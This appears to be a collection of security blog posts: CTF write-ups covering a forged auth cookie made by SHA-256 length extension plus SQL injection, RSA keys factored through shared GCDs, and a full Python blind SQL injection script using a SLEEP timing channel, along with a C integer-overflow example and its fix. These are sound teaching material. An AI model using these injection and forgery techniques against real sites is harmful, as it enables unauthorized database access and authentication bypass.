PlaidCTF 2014: mtpox

150 Point Web Challenge

The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.

Looking at the webapp, we discover two pages of content, and a link to an admin page, but visiting the admin page gives an “Access Denied.” Looking at our cookies, we get one auth with value b%3A0%3B, which, urldecoded is b:0;. Since we know this is a PHP app, we can easily recognize this as a serialized false boolean. The other cookie, hsh has the value ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3. This value is unchanged regardless of IP, visit time, etc, so it’s a pretty safe assumption it’s not salted in any way. GIven the length, we can assume it’s SHA-256. The about page tells us there’s an 8 character “salt”, but it really seems to be just a static key.

A few quick tries shows that simply modifying the auth or clearing the hsh cookies aren’t enough to get access, so I consider a hash length extension attack. Unfortunately, appending data to a serialized PHP value is quite useless, the unserialize function stops at the end of the first value, so b:0;b:1; does no good. (Same with padding in between.) We need a way to get our true value at the beginning. I guessed that maybe they’re reversing the auth value before doing the hashing. Update: There was, in fact, an arbitrary file read as well, that would allow me to see for certain that it was reversed before hashing.

So, how to execute the length extension attack? I have written a python tool for MD5 before, but this is SHA-256, so I could update that, but one of my coworkers has an awesome tool to do it for a wide variety of hash types, data formats, etc. I drop the reversed strings into hash_extender and look for my output:

1
2
3
4
5
% ./hash_extender -d ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ';1:b' -f sha256 -l 8 --out-data-format=html
Type: sha256
Secret length: 8
New signature: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab

Of course, this string is now backwards, so we need to reverse it, but we need to reverse the decoded version of it. Trivial python one-liner incoming!

1
2
% python -c "import urllib; print urllib.quote(urllib.unquote('%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab')[::-1])"
b%3A1%3B%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B

Great, so I’ll plug that in as the auth cookie, and 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1 for hsh, and we’re done, right? Well, it works, but no flag.

We get a box to query for PlaidCoin values, but putting things in redirects to a non-existent page. So, removing the action so it redirects to the same page works, but finds nothing obvious, until I insert a quote, revealing the SQL Injection flaw.

Let’s use MySQL’s information_schema virtual database to do some information gathering. We can find out what tables exist with a query like: 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database(). This returns “Wallet 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database() contains plaidcoin_wallets coins.” So, we know there’s only one table, plaidcoin_wallets. Time to find out what columns exist. 1=1 UNION SELECT group_concat(column_name) from information_schema.columns WHERE table_schema=database(). This reveals 2 columns: id and amount.

Let’s find out what ID contains. 1=1 UNION SELECT group_concat(id) from plaidcoin_wallets shows just one wallet, with the name pctf{phpPhPphpPPPphpcoin}. Turn in the flag, and we’re up 150 points!

Big thanks to Ron at skullsecurity.org for the great write-up and tool for hash length extension attacks. Update: Apparently Ron has written this one up as well, see here for his writeup.


Weekly Reading List for 4/4/14

It’s been a while where I’ve been too busy even for any good reading, but we’re back to the reading lists!

Return-Oriented Programming (ROP)

Code Arcana has an excellent introduction to ROP exploitation techniques. In addition to providing an introduction to the concept, it takes it through detailed implementation and debugging. I look forward to getting an opportunity to try it during the next CTF with a ROP challenge. (I’m guess PlaidCTF will offer such a chance.)

Ropasaurus Rex

Speaking of ROP and PlaidCTF, here’s a great write-up for last year’s Ropasaurus Rex challenge during PlaidCTF from the ISIS Lab blog at NYU Poly. If your prefer video, Skullspace Labs provides with a tutorial. The next PlaidCTF is just around the corner!


Boston Key Party: Mind Your Ps and Qs

About a week old, but I thought I’d put together a writeup for mind your Ps and Qs because I thought it was an interesting challenge.

You are provided 24 RSA public keys and 24 messages, and the messages are encrypted using RSA-OAEP using the private components to the keys. The flag is spread around the 24 messages.

So, we begin with an analysis of the problem. If they’re using RSA-OAEP, then we’re not going to attack the ciphertext directly. While RSA-OAEP might be vulnerable to timing attacks, we’re not on a network service, and there are no known ciphertext-only attacks on RSA-OAEP. So how are the keys themselves? Looking at them, we have a ~1024 bit modulus:

1
2
3
>>> key = RSA.importKey(open('challenge/0.key').read())
>>> key.size()
1023

So, unless you happen to work for a TLA, you’re not going to be breaking these keys by brute force or GNFS factorization. However, we all know that weak keys exist. How do these weak keys come to be? Well, in 2012, some researchers discovered that a number of badly generated keys could be factored. Heninger, et al discovered that many poorly generated keys share common factors, allowing them to be trivially factored! Find the greatest common divisor and you have one factor (p or q). Then you can simply divide the public moduli by this common divisor and get the other, and you can trivially get the private modulus.

So far we don’t know that this will work for our keys, so we need to verify this is the attack that will get us what we want, so we do a quick trial of this.

1
2
3
4
5
6
>>> import gmpy
>>> from Crypto.PublicKey import RSA                                                                                                         
>>> key_1 = RSA.importKey(open('challenge/1.key').read())
>>> key_2 = RSA.importKey(open('challenge/2.key').read())
>>> gmpy.gcd(key_1.n, key_2.n)
mpz(12732728005864651519253536862444092759071167962208880514710253407845933510471541780199864430464454180807445687852028207676794708951924386544110368856915691L)

Great! Looks like we can factor at least this pair of keys. Let’s scale up and automate getting the keys and then getting the plaintext. We’ll try to go over all possible keypairs, in case they don’t have one single common factor.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!python
import gmpy
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

E=65537

def get_key_n(filename):
  pubkey = RSA.importKey(open(filename).read())
  assert pubkey.e == E
  return gmpy.mpz(pubkey.n)

def load_keys():
  keys = []
  for i in xrange(24):
    keys.append(get_key_n('challenge/%d.key' % i))
  return keys

def factor_keys(keys):
  factors = [None]*len(keys)
  for i, k1 in enumerate(keys):
    for k, k2 in enumerate(keys):
      if factors[i] and factors[k]:
        # Both factored
        continue
      common = gmpy.gcd(k1, k2)
      if common > 1:
        factors[i] = (common, k1/common)
        factors[k] = (common, k2/common)

  for f in factors:
    if not f:
      raise ValueError('At least 1 key was not factored!')

  return factors

def form_priv_keys(pubkeys, factors):
  privkeys = []
  for n, (p, q) in zip(pubkeys, factors):
    assert p*q == n
    phi = (p-1) * (q-1)
    d = gmpy.invert(E, phi)
    key = RSA.construct((long(n), long(E), long(d), long(p), long(q)))
    privkeys.append(key)

  return privkeys

def decrypt_file(filename, key):
  cipher = PKCS1_OAEP.new(key)
  return cipher.decrypt(open(filename).read())

def decrypt_files(keys):
  text = []
  for i, k in enumerate(keys):
    text.append(decrypt_file('challenge/%d.enc' % i, k))
  return ''.join(text)

if __name__ == '__main__':
  pubkeys = load_keys()
  factors = factor_keys(pubkeys)
  privkeys = form_priv_keys(pubkeys, factors)
  print decrypt_files(privkeys)

Let’s run it and see if we can succeed in getting the flag.

1
2
$ python factorkeys.py 
FLAG{ITS_NADIA_BUSINESS}

Win! Nadia, of course, is a reference to Nadia Heninger, 1st author on the Factorable Key paper.


Integer Overflow Vulnerabilities

What’s wrong with this code (other than the fact the messages are discarded)?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!c
void read_messages(int fd, int num_msgs) {
  char buf[1024];
  size_t msg_len, bytes_read = 0;

  while(num_msgs--) {
    read(fd, &msg_len, sizeof(size_t));
    if (bytes_read + msg_len > sizeof(buf)) {
      printf("Buffer overflow prevented!\n");
      return;
    }
    bytes_read += read(fd, buf+bytes_read, msg_len);
  }
}

If you answered “nothing”, you’d be missing a significant security issue. In fact, this function contains a trivial buffer overflow. By supplying a length 0 < len_a < 1024 for the first message, then a length INT_MAX-len_a ≤ len_b < UINT_MAX, the value bytes_read + msg_len wraps around past UINT_MAX and is less than sizeof(buf). Then the read proceeds with its very large value, but can only read as much data as is available on the file descriptor (probably a socket, if this is a remote exploit). So by supplying enough data on the socket, the buffer will be overflowed, allowing to overwrite the saved EIP.

One way to fix this vulnerability is to move the bytes_read on the other side of the comparison.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!c
void read_messages(int fd, int num_msgs) {
  char buf[1024];
  size_t msg_len, bytes_read = 0;

  while(num_msgs--) {
    read(fd, &msg_len, sizeof(size_t));
    if (msg_len > sizeof(buf) - bytes_read) {
      printf("Buffer overflow prevented!\n");
      return;
    }
    bytes_read += read(fd, buf+bytes_read, msg_len);
  }
}

Since 0 ≤ bytes_read ≤ sizeof(buf) the right side will not underflow, and msg_len will obviously always be within the range of a size_t. In this case, we should not be vulnerable to a buffer overflow.

####Other Reading


Codegate 2014 Quals: 120

From Codegate 2014 quals comes “120”. Provided is a web interface with a single text box and a link to the source, reproduced below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!php
<?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', ".
      "'$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|" .
    "limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query = "select * from rms_120_pw where ".
    "(ip='$_SERVER[REMOTE_ADDR]') and " .
    "(password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);
?>

<head>
<link rel="stylesheet" type="text/css" href="black.css">
</head>

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
  <p>
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  </p>
  </div>
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">
  </p>
</form>

The TL;DR of this code is that it uses your PHP session to store a 30 character lowercase letter token, and a counter of how many tries you’ve made against it. You’re given 120 total tries, then a new code will be generated, meaning any data you’ve been able to glean is useless. For what it’s worth, not all letters are equally likely – the source of the data is Aleph One’s “Smashing the Stack for Fun and Profit.” The code contains a blacklist to protect against certain types of SQL injection, but certainly doesn’t cover all SQL injection possibilities.

So let’s do some math. Clearly, trying all possible passwords is out of the question at 2630 possibilities. With the SQL injection, we could try each character separately, using SUBSTR, but that still leaves us with 26*30 (780) possibilities, well more than the 120 we have to work with. What about probabalistically trying the letters in the order of their frequency in the source document. It turns out the letter distribution still requires ~8 tries per letter, meaning we can only get ~13 letters in our 120 tries, or would need 240 tries for the whole passphrase.

Let’s consider that our character set is all lower case letters – how much possible entropy is there? Well, only the lowest 5 bits vary among lower case ASCII letters. So, if we do a bitwise test, we only need 5*30 = 150 tests, but 150 is still too many. If only we could test 2 bits at a time, then we’d only need (ideally) 75 tries. How can we do that when the only signal we get back is a True/False value? Well, we must consider side channels – such as timing. Merely measuring the timing of 2 bit comparisons is not significant enough to cover for network/server variance, but if we could conditionally introduce additional latency, we could use that as a signal. Fortunately, SQL offers us a sleep() function that we can use to introduce this latency and help us take measurements, but how to introduce it conditionally?

Note that the sleep() function returns a false-equivalent value when it completes. Consider the statement ((A AND SLEEP(3)) OR B). This is the truth table for the statement:

ABTimeOutput
FF<3 sF
TF>3 sF
FT<3 sT
TT>3 sT

As can be seen, the value of A controls the timing, and the value of B controls the output. To read a single bit, we can use a construct like ASCII(SUBSTR(password, N, 1)) & 1 << p. This checks if the p-th bit in the N-th byte is set. Collectively, this gives us the ability to read 2 bits with a single request. To break up the bits we need to read, it’s most straightforward to read 1 bit by itself, then 2 pairs of 2 bits from each character. Though suboptimal, it makes implementation straightforward, and still only requires 3 requests per byte, or 90 requests total.

Putting it all together, we get the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!python
import urllib
import urllib2
import cookielib
import sys
import time

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

cookies_printed = False

def inject(pw):
  global cookies_printed
  data = urllib.urlencode({'password': pw})
  req = opener.open(
      'http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/'
      'index.php', data)
  if not cookies_printed:
    for c in cj:
      print c
    cookies_printed = True
  return req.read().strip() == 'True'

def stdinject(cond):
  return inject("' OR %s OR 'x'='" % cond)

def indexmatch(pos, val):
  # Convert 0-indexed to 1-indexed
  substr = 'SUBSTRING(password, %d, 1)' % (pos+1)
  return stdinject(substr + ("='%s'" % val))

def twobitchar(pos):
  bits = [0]*5
  substr = 'SUBSTRING(password, %d, 1)' % (pos+1)
  # test top most bit
  if stdinject('ASCII(%s) & %d' % (substr, 1 << 4)):
    bits[4] = 1

  def twobittest(lower):
    # (bit(1) and sleep(3)) or bit(2)
    # time indicate bit(1)
    # truth indicates bit(2)
    sleep_time = 3
    start_time = time.time()
    ascii_str = 'ASCII(%s)' % substr
    if stdinject('((%s & %d AND SLEEP(%d)) OR %s & %d)' % (
      ascii_str, 1 << (lower+1), sleep_time, ascii_str, 1 << lower)):
      bits[lower] = 1
    stop_time = time.time()
    if (stop_time - start_time) > sleep_time:
      bits[lower+1] = 1

  # test next 2 bits
  twobittest(2)
  # test last 2 bits
  twobittest(0)

  # reassemble bits
  return chr(int('0b11' + ''.join('%d' % b for b in reversed(bits)),2))

def runtwobit():
  passwd = ''
  for c in xrange(30):
    passwd += twobitchar(c)
    print '[%d] %s' % (c, passwd[-1])
  if inject(passwd):
    print passwd
  else:
    print 'Validation failed!'

runtwobit()

Note the need for special treatment for the HTTP requests – since PHP sessions are in use, we need to provide a CookieJar and output the cookie value so we can use both the session and the password to exchange for our flag and get our points.